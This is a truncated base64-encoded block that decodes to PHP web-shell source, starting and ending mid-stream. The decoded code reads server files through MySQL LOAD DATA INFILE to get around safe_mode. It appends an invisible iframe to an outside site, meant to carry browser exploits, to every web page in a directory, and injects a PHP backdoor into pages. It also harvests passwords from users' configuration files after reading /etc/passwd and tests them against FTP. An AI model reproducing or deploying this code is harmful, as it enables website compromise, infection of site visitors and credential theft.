0YmxhbmFseXplXCI+QW5hbHl6ZSB0YWJsZTwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT48L3A+IjsNCiAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgICB9DQogICAgfQ0KICAgfQ0KICAgfQ0KICB9DQogIGVsc2Ugew0KICAgJGFjdHMgPSBhcnJheSgiIiwibmV3ZGIiLCJzZXJ2ZXJzdGF0dXMiLCJzZXJ2ZXJ2YXJzIiwicHJvY2Vzc2VzIiwiZ2V0ZmlsZSIpOw0KICAgaWYgKGluX2FycmF5KCRzcWxfeCwkYWN0cykpIHs/Pjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48Yj5DcmVhdGUgbmV3IERCOjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0ic3FsIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfeCIgdmFsdWU9Im5ld2RiIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbmV3ZGIiIHNpemU9IjIwIj4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ3JlYXRlIj48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48Yj5WaWV3IEZpbGU6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IngiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF94IiB2YWx1ZT0iZ2V0ZmlsZSI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX2dldGZpbGUiIHNpemU9IjMwIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfZ2V0ZmlsZSk7ID8+Ij4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR2V0Ij48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjwvdHI+PC90YWJsZT48P3BocCB9DQogICBpZiAoIWVtcHR5KCRzcWxfeCkpIHsNCiAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7DQogICAgaWYgKCRzcWxfeCA9PSAibmV3ZGIiKSB7DQogICAgIGVjaG8gIjxiPiI7DQogICAgIGlmICgobXlzcWxfY3JlYXRlX2RiICgkc3FsX25ld2RiKSkgYW5kICghZW1wdHkoJHNxbF9uZXdkYikpKSB7ZWNobyAiREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiIGhhcyBiZWVuIGNyZWF0ZWQgd2l0aCBzdWNjZXNzITwvYj48YnI+Ijt9DQogICAgIGVsc2Uge2VjaG8gIkNhbid0IGNyZWF0ZSBEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIuPGJyPlJlYXNvbjo8L2I+ICIubXlzcWxfc21hcnRlcnJvcigpO30NCiAgICB9DQogICAgaWYgKCRzcWxfeCA9PSAic2VydmVyc3RhdHVzIikgew0KICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgU1RBVFVTIiwgJHNxbF9zb2NrKTsNCiAgICAgZWNobyAiPGNlbnRlcj48Yj5TZXJ2ZXItc3RhdHVzIHZhcmlhYmxlczo8L2I+PGJyPjxicj4iOw0KICAgICBlY2hvICI8VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIGJnY29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSMzMzMzMzMgYm9yZGVyPTE+PHRkPjxiPk5hbWU8L2I+PC90ZD48dGQ+PGI+VmFsdWU8L2I+PC90ZD48L3RyPiI7DQogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkge2VjaG8gIjx0cj48dGQ+Ii4kcm93WzBdLiI8L3RkPjx0ZD4iLiRyb3dbMV0uIjwvdGQ+PC90cj4iO30NCiAgICAgZWNobyAiPC90YWJsZT48L2NlbnRlcj4iOw0KICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICB9DQogICAgaWYgKCRzcWxfeCA9PSAic2VydmVydmFycyIpIHsNCiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFZBUklBQkxFUyIsICRzcWxfc29jayk7DQogICAgIGVjaG8gIjxjZW50ZXI+PGI+U2VydmVyIHZhcmlhYmxlczo8L2I+PGJyPjxicj4iOw0KICAgICBlY2hvICI8VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIGJnY29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSMzMzMzMzMgYm9yZGVyPTE+PHRkPjxiPk5hbWU8L2I+PC90ZD48dGQ+PGI+VmFsdWU8L2I+PC90ZD48L3RyPiI7DQogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkge2VjaG8gIjx0cj48dGQ+Ii4kcm93WzBdLiI8L3RkPjx0ZD4iLiRyb3dbMV0uIjwvdGQ+PC90cj4iO30NCiAgICAgZWNobyAiPC90YWJsZT4iOw0KICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICB9DQogICAgaWYgKCRzcWxfeCA9PSAicHJvY2Vzc2VzIikgew0KICAgICBpZiAoIWVtcHR5KCRraWxsKSkgew0KICAgICAgICRxdWVyeSA9ICJLSUxMICIuJGtpbGwuIjsiOw0KICAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnksICRzcWxfc29jayk7DQogICAgICAgZWNobyAiPGI+UHJvY2VzcyAjIi4ka2lsbC4iIHdhcyBraWxsZWQuPC9iPiI7DQogICAgIH0NCiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFBST0NFU1NMSVNUIiwgJHNxbF9zb2NrKTsNCiAgICAgZWNobyAiPGNlbnRlcj48Yj5Qcm9jZXNzZXM6PC9iPjxicj48YnI+IjsNCiAgICAgZWNobyAiPFRBQkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MiBib3JkZXJDb2xvckxpZ2h0PSMzMzMzMzMgYm9yZGVyPTE+PHRkPjxiPklEPC9iPjwvdGQ+PHRkPjxiPlVTRVI8L2I+PC90ZD48dGQ+PGI+SE9TVDwvYj48L3RkPjx0ZD48Yj5EQjwvYj48L3RkPjx0ZD48Yj5DT01NQU5EPC9iPjwvdGQ+PHRkPjxiPlRJTUU8L2I+PC90ZD48dGQ+PGI+U1RBVEU8L2I+PC90ZD48dGQ+PGI+SU5GTzwvYj48L3RkPjx0ZD48Yj5BY3Rpb248L2I+PC90ZD48L3RyPiI7DQogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkgeyBlY2hvICI8dHI+PHRkPiIuJHJvd1swXS4iPC90ZD48dGQ+Ii4kcm93WzFdLiI8L3RkPjx0ZD4iLiRyb3dbMl0uIjwvdGQ+PHRkPiIuJHJvd1szXS4iPC90ZD48dGQ+Ii4kcm93WzRdLiI8L3RkPjx0ZD4iLiRyb3dbNV0uIjwvdGQ+PHRkPiIuJHJvd1s2XS4iPC90ZD48dGQ+Ii4kcm93WzddLiI8L3RkPjx0ZD48YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF94PXByb2Nlc3NlcyZraWxsPSIuJHJvd1swXS4iXCI+PHU+S2lsbDwvdT48L2E+PC90ZD48L3RyPiI7fQ0KICAgICBlY2hvICI8L3RhYmxlPiI7DQogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgIH0NCiAgICBpZiAoJHNxbF94ID09ICJnZXRmaWxlIikNCiAgICB7DQogICAgICR0bXBkYiA9ICRzcWxfbG9naW4uIl90bXBkYiI7DQogICAgICRzZWxlY3QgPSBteXNxbF9zZWxlY3RfZGIoJHRtcGRiKTsNCiAgICAgaWYgKCEkc2VsZWN0KSB7bXlzcWxfY3JlYXRlX2RiKCR0bXBkYik7ICRzZWxlY3QgPSBteXNxbF9zZWxlY3RfZGIoJHRtcGRiKTsgJGNyZWF0ZWQgPSAhISRzZWxlY3Q7fQ0KICAgICBpZiAoJHNlbGVjdCkNCiAgICAgew0KICAgICAgJGNyZWF0ZWQgPSBGQUxTRTsNCiAgICAgIG15c3FsX3F1ZXJ5KCJDUkVBVEUgVEFCTEUgYHRtcF9maWxlYCAoIGBWaWV3aW5nIHRoZSBmaWxlIGluIHNhZmVfbW9kZStvcGVuX2Jhc2VkaXJgIExPTkdCTE9CIE5PVCBOVUxMICk7Iik7DQogICAgICBteXNxbF9xdWVyeSgiTE9BRCBEQVRBIElORklMRSBcIiIuYWRkc2xhc2hlcygkc3FsX2dldGZpbGUpLiJcIiBJTlRPIFRBQkxFIHRtcF9maWxlIik7DQogICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdG1wX2ZpbGU7Iik7DQogICAgICBpZiAoISRyZXN1bHQpIHtlY2hvICI8Yj5FcnJvciBpbiByZWFkaW5nIGZpbGUgKHBlcm1pc2lvbiBkZW5pZWQpITwvYj4iO30NCiAgICAgIGVsc2UNCiAgICAgIHsNCiAgICAgICBmb3IgKCRpPTA7JGk8bXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTskaSsrKSB7JG5hbWUgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpO30NCiAgICAgICAkZiA9ICIiOw0KICAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpKSB7JGYgLj0gam9pbiAoIlxyXG4iLCRyb3cpO30NCiAgICAgICBpZiAoZW1wdHkoJGYpKSB7ZWNobyAiPGI+RmlsZSBcIiIuJHNxbF9nZXRmaWxlLiJcIiBkb2VzIG5vdCBleGlzdHMgb3IgZW1wdHkhPC9iPjxicj4iO30NCiAgICAgICBlbHNlIHtlY2hvICI8Yj5GaWxlIFwiIi4kc3FsX2dldGZpbGUuIlwiOjwvYj48YnI+Ii5ubDJicihodG1sc3BlY2lhbGNoYXJzKCRmKSkuIjxicj4iO30NCiAgICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICAgICBteXNxbF9xdWVyeSgiRFJPUCBUQUJMRSB0bXBfZmlsZTsiKTsNCiAgICAgIH0NCiAgICAgfQ0KICAgICBteXNxbF9kcm9wX2RiKCR0bXBkYik7IA0KICAgIH0NCiAgIH0NCiAgfQ0KfQ0KZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsNCmlmICgkc3FsX3NvY2spIHsNCiAgJGFmZmVjdGVkID0gQG15c3FsX2FmZmVjdGVkX3Jvd3MoJHNxbF9zb2NrKTsNCiAgaWYgKCghaXNfbnVtZXJpYygkYWZmZWN0ZWQpKSBvciAoJGFmZmVjdGVkIDwgMCkpeyRhZmZlY3RlZCA9IDA7fQ0KICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+PGI+QWZmZWN0ZWQgcm93cyA6ICIuJGFmZmVjdGVkLiI8L2NlbnRlcj48L3RkPjwvdHI+IjsNCn0NCmVjaG8gIjwvdGFibGU+IjsNCn0NCg0KaWYgKCR4ID09ICdtYXNzYnJvd3NlcnNwbG9pdCcpIHsNCj8+DQoNCjxiPk1hc3MgQ29kZSBJbmplY3Rpb246PC9iPjxicj48YnI+DQpVc2UgdGhpcyB0byBhZGQgSFRNTCB0byB0aGUgZW5kIG9mIGV2ZXJ5IC5waHAsIC5odG0sIGFuZCAuaHRtbCBwYWdlIGluIHRoZSBkaXJlY3Rvcnkgc3BlY2lmaWVkLjxicj48YnI+DQo8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+IiBtZXRob2Q9R0VUPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Im1hc3NzcGxvaXQiIHZhbHVlPSJnb2FoZWFkIj4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJhY3QiIHZhbHVlPSJtYXNzYnJvd3NlcnNwbG9pdCI+DQo8dGFibGUgYm9yZGVyPTA+DQo8dHI+PHRkPkRpciB0byBpbmplY3Q6IDwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT01MCBuYW1lPSJwYXRodG9tYXNzIiB2YWx1ZT0iPD9waHAgZWNobyByZWFscGF0aCgnLicpOyA/PiI+IDwtLSBkZWZhdWx0IGlzIGRpciB0aGlzIHNoZWxsIGlzIGluPC90ZD48L3RyPg0KPHRyPjx0ZD5Db2RlIHRvIGluamVjdDogPC90ZD48dGQ+PHRleHRhcmVhIG5hbWU9ImluamVjdHRoaXMiIGNvbHM9NTAgcm93cz00Pjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygnPElGUkFNRSBzcmM9Imh0dHA6Ly93d3cuZngwLm5hbWUiIHdpZHRoPTAgaGVpZ2h0PTAgZnJhbWVib3JkZXI9MD48L0lGUkFNRT4nKTsgPz48L3RleHRhcmVhPiA8LS0gYmVzdCBiZXQgd291bGQgYmUgdG8gaW5jbHVkZSBhbiBpbnZpc2libGUgaWZyYW1lIG9mIGJyb3dzZXIgZXhwbG9pdHM8L3RkPjwvdHI+DQoNCjx0cj48dGQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJJbmplY3QgQ29kZSI+PC90ZD48L3RyPg0KPC90YWJsZT4NCjwvZm9ybT4NCjw/cGhwDQppZiAoJF9HRVRbJ21hc3NzcGxvaXQnXSA9PSAnZ29haGVhZCcpIHsNCglpZiAoaXNfZGlyKCRfR0VUWydwYXRodG9tYXNzJ10pKSB7DQoJCSRsb2xpbmplY3QgPSAkX0dFVFsnaW5qZWN0dGhpcyddOw0KCQlmb3JlYWNoIChnbG9iKCRfR0VUWydwYXRodG9tYXNzJ10uIi8qLnBocCIpIGFzICRpbmplY3RqMDApIHsNCgkJCSRmcD1mb3BlbigkaW5qZWN0ajAwLCJhKyIpOw0KCQkJaWYgKGZwdXRzKCRmcCwkbG9saW5qZWN0KSl7DQoJCQkJZWNobyAnPGZvbnQgY29sb3I9Z3JlZW4+Jy4kaW5qZWN0ajAwLicgd2FzIGluamVjdGVkPGJyPjwvZm9udD4nOw0KCQkJfSBlbHNlIHsNCgkJCQllY2hvICc8Zm9udCBjb2xvcj1yZWQ+ZmFpbGVkIHRvIGluamVjdCAnLiRpbmplY3RqMDAuJzwvZm9udD4nOw0KCQkJfQ0KCQl9DQoJCWZvcmVhY2ggKGdsb2IoJF9HRVRbJ3BhdGh0b21hc3MnXS4iLyouaHRtIikgYXMgJGluamVjdGowMCkgew0KCQkJJGZwPWZvcGVuKCRpbmplY3RqMDAsImErIik7DQoJCQlpZiAoZnB1dHMoJGZwLCRsb2xpbmplY3QpKXsNCgkJCQllY2hvICRpbmplY3RqMDAuJyB3YXMgaW5qZWN0ZWQ8YnI+JzsNCgkJCX0gZWxzZSB7DQoJCQkJZWNobyAnPGZvbnQgY29sb3I9cmVkPmZhaWxlZCB0byBpbmplY3QgJy4kaW5qZWN0ajAwLic8L2ZvbnQ+JzsNCgkJCX0NCgkJfQ0KCQlmb3JlYWNoIChnbG9iKCRfR0VUWydwYXRodG9tYXNzJ10uIi8qLmh0bWwiKSBhcyAkaW5qZWN0ajAwKSB7DQoJCQkkZnA9Zm9wZW4oJGluamVjdGowMCwiYSsiKTsNCgkJCWlmIChmcHV0cygkZnAsJGxvbGluamVjdCkpew0KCQkJCWVjaG8gJGluamVjdGowMC4nIHdhcyBpbmplY3RlZDxicj4nOw0KCQkJfSBlbHNlIHsNCgkJCQllY2hvICc8Zm9udCBjb2xvcj1yZWQ+ZmFpbGVkIHRvIGluamVjdCAnLiRpbmplY3RqMDAuJzwvZm9udD4nOw0KCQkJfQ0KCQl9DQoJfSBlbHNlIHsgLy9lbmQgaWYgaW5wdXR0ZWQgZGlyIGlzIHJlYWwgLS0gaWYgbm90LCBzaG93IGFuIHVnbHkgcmVkIGVycm9yDQoJCWVjaG8gJzxiPjxmb250IGNvbG9yPXJlZD4nLiRfR0VUWydwYXRodG9tYXNzJ10uJyBpcyBub3QgYXZhaWxhYmxlITwvZm9udD48L2I+JzsNCgl9IC8vIGVuZCBpZiBpbnB1dHRlZCBkaXIgaXMgcmVhbCwgZm9yIHJlYWwgdGhpcyB0aW1lDQp9IC8vIGVuZCBpZiBjb25maXJtYXRpb24gdG8gbWFzcyBzcGxvaXQgaXMgZ28NCg0KLy9uZXcgcGhwIGJhY2tkb29yDQo/Pg0KPGI+TWFzcyBDb2RlIEluamVjdGlvbjo8L2I+PGJyPjxicj4NCg0KVXNlIHRoaXMgdG8gYWRkIFBIUCB0byB0aGUgZW5kIG9mIGV2ZXJ5IC5waHAgcGFnZSBpbiB0aGUgZGlyZWN0b3J5IHNwZWNpZmllZC48YnI+PGJyPg0KPGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiIgbWV0aG9kPUdFVD4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJtYXNzc3Bsb2l0IiB2YWx1ZT0icGhwIj4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJhY3QiIHZhbHVlPSJtYXNzYnJvd3NlcnNwbG9pdCI+DQo8dGFibGUgYm9yZGVyPTA+DQo8dHI+PHRkPkRpciB0byBpbmplY3Q6IDwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT01MCBuYW1lPSJwYXRodG9tYXNzIiB2YWx1ZT0iPD9waHAgZWNobyByZWFscGF0aCgnLicpOyA/PiI+IDwtLSBkZWZhdWx0IGlzIGRpciB0aGlzIHNoZWxsIGlzIGluPC90ZD48L3RyPg0KPHRyPjx0ZD5Db2RlIHRvIGluamVjdDogPC90ZD48dGQ+PHRleHRhcmVhIG5hbWU9ImluamVjdHRoaXMiIGNvbHM9NTAgcm93cz00Pjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygnPD9waHAgaWYgKCRfR0VUWyJ4Il0gPT0gImx1bCIpIHsgLypjb2RlKi87IH0gPz4nKTsgPz48L3RleHRhcmVhPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJJbmplY3QgQ29kZSI+PC90ZD48L3RyPg0KPC90YWJsZT4NCjwvZm9ybT4NCjw/cGhwDQppZiAoJF9HRVRbJ21hc3NzcGxvaXQnXSA9PSAncGhwJykgew0KCWlmIChpc19kaXIoJF9HRVRbJ3BhdGh0b21hc3MnXSkpIHsNCgkJJGxvbGluamVjdCA9ICRfR0VUWydpbmplY3R0aGlzJ107DQoJCWZvcmVhY2ggKGdsb2IoJF9HRVRbJ3BhdGh0b21hc3MnXS4iLyoucGhwIikgYXMgJGluamVjdGowMCkgew0KCQkJJGZwPWZvcGVuKCRpbmplY3RqMDAsImErIik7DQoJCQlpZiAoZnB1dHMoJGZwLCRsb2xpbmplY3QpKXsNCgkJCQllY2hvICc8Zm9udCBjb2xvcj1ncmVlbj4nLiRpbmplY3RqMDAuJyB3YXMgaW5qZWN0ZWQ8YnI+PC9mb250Pic7DQoJCQl9IGVsc2Ugew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPXJlZD5mYWlsZWQgdG8gaW5qZWN0ICcuJGluamVjdGowMC4nPC9mb250Pic7DQoJCQl9DQoJCX0NCgl9IGVsc2UgeyAvL2VuZCBpZiBpbnB1dHRlZCBkaXIgaXMgcmVhbCAtLSBpZiBub3QsIHNob3cgYW4gdWdseSByZWQgZXJyb3INCgkJZWNobyAnPGI+PGZvbnQgY29sb3I9cmVkPicuJF9HRVRbJ3BhdGh0b21hc3MnXS4nIGlzIG5vdCBhdmFpbGFibGUhPC9mb250PjwvYj4nOw0KCX0gLy8gZW5kIGlmIGlucHV0dGVkIGRpciBpcyByZWFsLCBmb3IgcmVhbCB0aGlzIHRpbWUNCn0gLy8gZW5kIGlmIGNvbmZpcm1hdGlvbiB0byBtYXNzIHNwbG9pdCBpcyBwaHAgb25seQ0KDQoNCn0gLy8gZW5kIGlmIG1hc3Nicm93c2Vyc3Bsb2l0IGlzIGNhbGxlZA0KDQoNCg0KDQoNCmlmICgkeCA9PSAnY3BhbmVsJyl7DQoJaWYgKCRfR0VUWydnbyddID09ICdnbycpew0KCXNldF90aW1lX2xpbWl0KDApOw0KCSMjIyMjIyMjIyMjIyMjIyMjIw0KCUAkcGFzc3dkPWZvcGVuKCcvZXRjL3Bhc3N3ZCcsJ3InKTsNCglpZiAoISRwYXNzd2QpIHsNCgkgICBlY2hvICJbLV0gRXJyb3IgOiBjb3Vkbid0IHJlYWQgL2V0Yy9wYXNzd2QiOw0KCSAgIGV4aXQ7DQoJfQ0KCSRwYXRoX3RvX3B1YmxpYz1hcnJheSgpOw0KCSR1c2Vycz1hcnJheSgpOw0KCSRwYXRodG9jb25mPWFycmF5KCk7DQoJJGk9MDsNCgkNCgl3aGlsZSghZmVvZigkcGFzc3dkKSkgew0KCSAgJHN0cj1mZ2V0cygkcGFzc3dkKTsNCgkgIGlmICgkaT4zNSkgew0KCQkkcG9zPXN0cnBvcygkc3RyLCI6Iik7DQoJCSR1c2VybmFtZT1zdWJzdHIoJHN0ciwwLCRwb3MpOw0KCQkkZGlyej0iL2hvbWUvJHVzZXJuYW1lL3B1YmxpY19odG1sLyI7DQoJCWlmICgoJHVzZXJuYW1lIT0iIikpIHsNCgkJCWlmIChpc19yZWFkYWJsZSgkZGlyeikpIHsNCgkJCQlhcnJheV9wdXNoKCR1c2VycywkdXNlcm5hbWUpOw0KCQkJCWFycmF5X3B1c2goJHBhdGhfdG9fcHVibGljLCRkaXJ6KTsNCgkJCX0NCgkJfQ0KCSAgfQ0KCSAgJGkrKzsNCgl9DQoJIyMjIyMjIyMjIyMjIyMjIyMjIw0KCQ0KCSMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCglmdW5jdGlvbiByZWFkX2RpcigkcGF0aCwkdXNlcm5hbWUpIHsNCgkJaWYgKCRoYW5kbGUgPSBvcGVuZGlyKCRwYXRoKSkgew0KCQkJd2hpbGUgKGZhbHNlICE9PSAoJGZpbGUgPSByZWFkZGlyKCRoYW5kbGUpKSkgew0KCQkJCSAgJGZwYXRoPSIkcGF0aCRmaWxlIjsNCgkJCQkgIGlmICgoJGZpbGUhPScuJykgYW5kICgkZmlsZSE9Jy4uJykpIHsNCgkJCQkJIGlmIChpc19yZWFkYWJsZSgkZnBhdGgpKSB7DQoJCQkJCQkkZHI9IiRmcGF0aC8iOw0KCQkJCQkJaWYgKGlzX2RpcigkZHIpKSB7DQoJCQkJCQkgICByZWFkX2RpcigkZHIsJHVzZXJuYW1lKTsNCgkJCQkJCX0NCgkJCQkJCWVsc2Ugew0KCQkJCQkJCSBpZiAoKCRmaWxlPT0nY29uZmlnLnBocCcpIG9yICgkZmlsZT09J2NvbmZpZy5pbmMucGhwJykgb3IgKCRmaWxlPT0nZGIuaW5jLnBocCcpIG9yICgkZmlsZT09J2Nvbm5lY3QucGhwJykgb3IgKCRmaWxlPT0nd3AtY29uZmlnLnBocCcpIG9yICgkZmlsZT09J3Zhci5waHAnKSBvciAoJGZpbGU9PSdjb25maWd1cmUucGhwJykgb3IgKCRmaWxlPT0nZGIucGhwJykgb3IgKCRmaWxlPT0nZGJfY29ubmVjdC5waHAnKSkgew0KCQkJCQkJCQkkcGFzcz1nZXRfcGFzcygkZnBhdGgpOw0KCQkJCQkJCQlpZiAoJHBhc3MhPScnKSB7DQoJCQkJCQkJCSAgIGVjaG8gIlsrXSAkZnBhdGhcbiRwYXNzXG4iOw0KCQkJCQkJCQkgICBmdHBfY2hlY2soJHVzZXJuYW1lLCRwYXNzKTsNCgkJCQkJCQkJfQ0KCQkJCQkJCSB9DQoJCQkJCQl9DQoJCQkJCSB9DQoJCQkJICB9DQoJCQl9DQoJCX0NCgl9DQoJDQoJZnVuY3Rpb24gZ2V0X3Bhc3MoJGxpbmspIHsNCgkJQCRjb25maWc9Zm9wZW4oJGxpbmssJ3InKTsNCgkJd2hpbGUoIWZlb2YoJGNvbmZpZykpIHsNCgkJCSRsaW5lPWZnZXRzKCRjb25maWcpOw0KCQkJaWYgKHN0cnN0cigkbGluZSwncGFzcycpIG9yIHN0cnN0cigkbGluZSwncGFzc3dvcmQnKSBvciBzdHJzdHIoJGxpbmUsJ3Bhc3N3ZCcpKSB7DQoJCQkJaWYgKHN0cnJwb3MoJGxpbmUsJyInKSkNCgkJCQkgICAkcGFzcz1zdWJzdHIoJGxpbmUsKHN0cnBvcygkbGluZSwnPScpKzMpLChzdHJycG9zKCRsaW5lLCciJyktKHN0cnBvcygkbGluZSwnPScpKzMpKSk7DQoJCQkJZWxzZQ0KCQkJCSAgICRwYXNzPXN1YnN0cigkbGluZSwoc3RycG9zKCRsaW5lLCc9JykrMyksKHN0cnJwb3MoJGxpbmUsIiciKS0oc3RycG9zKCRsaW5lLCc9JykrMykpKTsNCgkJCQlyZXR1cm4gJHBhc3M7DQoJCQl9DQoJCX0NCgl9DQoJDQoJZnVuY3Rpb24gZnRwX2NoZWNrKCRsb2dpbiwkcGFzcykgew0KCQkgQCRmdHA9ZnRwX2Nvbm5lY3QoJzEyNy4wLjAuMScpOw0KCQkgaWYgKCRmdHApIHsNCgkJCUAkcmVzPWZ0cF9sb2dpbigkZnRwLCRsb2dpbiwkcGFzcyk7DQoJCQlpZiAoJHJlcykgew0KCQkJICAgZWNobyAnW2NQYW5lbCBGb3VuZF0gJy4kbG9naW4uJzonLiRwYXNzLiIgIFN1Y2Nlc3NcbiI7DQoJCQl9DQoJCQllbHNlIGZ0cF9xdWl0KCRmdHApOw0KCQkgfQ0KCX0NCgkNCgllY2hvICI8YnI+PGJyPiI7DQoJZWNobyAiPHRleHRhcmVhIG5hbWU9J21haW5fd2luZG93JyBjb2xzPTEwMCByb3dzPTIwPiI7DQoJDQoJZWNobyAiWytdIEZvdW5kICIuc2l6ZW9mKCR1c2VycykuIiBlbnRyeXMgaW4gL2V0Yy9wYXNzd2RcbiI7DQoJZWNobyAiWytdIEZvdW5kICIuc2l6ZW9mKCRwYXRoX3RvX3B1YmxpYykuIiByZWFkYWJsZSBwdWJsaWNfaHRtbCBkaXJlY3Rvcmllc1xuIjsNCgkNCgllY2hvICJbfl0gU2VhcmNoaW5nIGZvciBwYXNzd29yZHMgaW4gY29uZmlnLiogZmlsZXMuLi5cblxuIjsNCglmb3JlYWNoICgkdXNlcnMgYXMgJHVzZXIpIHsNCgkJCSRwYXRoPSIvaG9tZS8kdXNlci9wdWJsaWNfa